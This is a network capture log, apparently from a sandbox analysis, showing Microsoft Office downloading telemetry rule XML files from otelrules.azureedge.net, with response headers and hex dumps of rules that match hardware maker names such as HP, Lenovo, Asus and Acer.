2024-10-28 01:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 32193d61-901e-0015-09ca-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010716Z-17c5cb586f6b6kj91vqtm6kxaw00000002y000000000bp07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c5020da2-f01e-003f-2928-27d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010716Z-r197bdfb6b4mcssrvu34xzqc5400000004c0000000008ctn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010716Z-16849878b78qfbkc5yywmsbg0c0000000410000000006rcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49718	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010716Z-17c5cb586f672xmrz843mf85fn0000000340000000006adz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 88497579-201e-0000-113a-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010716Z-17c5cb586f6z6tw6g7cmdv30m800000005gg0000000041ye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49722	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010717Z-r197bdfb6b4c8q4qvwwy2byzsw00000004m0000000002kqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 5271dd0b-801e-00a0-6eb7-282196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010717Z-r197bdfb6b46kmj4701qkq602400000003c00000000067s3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49726	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: abb1733e-f01e-005d-6a3c-2813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010717Z-15b8d89586fmc8ck21zz2rtg1w00000001kg000000002usz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49725	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010717Z-16849878b7867ttgfbpnfxt44s000000045000000000dx36 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49724	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010717Z-16849878b78fhxrnedubv5byks00000002m000000000h8e1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f981d888-e01e-0099-4d18-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010718Z-r197bdfb6b4hsj5bywyqk9r2xw00000005m000000000d5qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010718Z-16849878b78sx229w7g7at4nkg00000002k000000000ba4p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
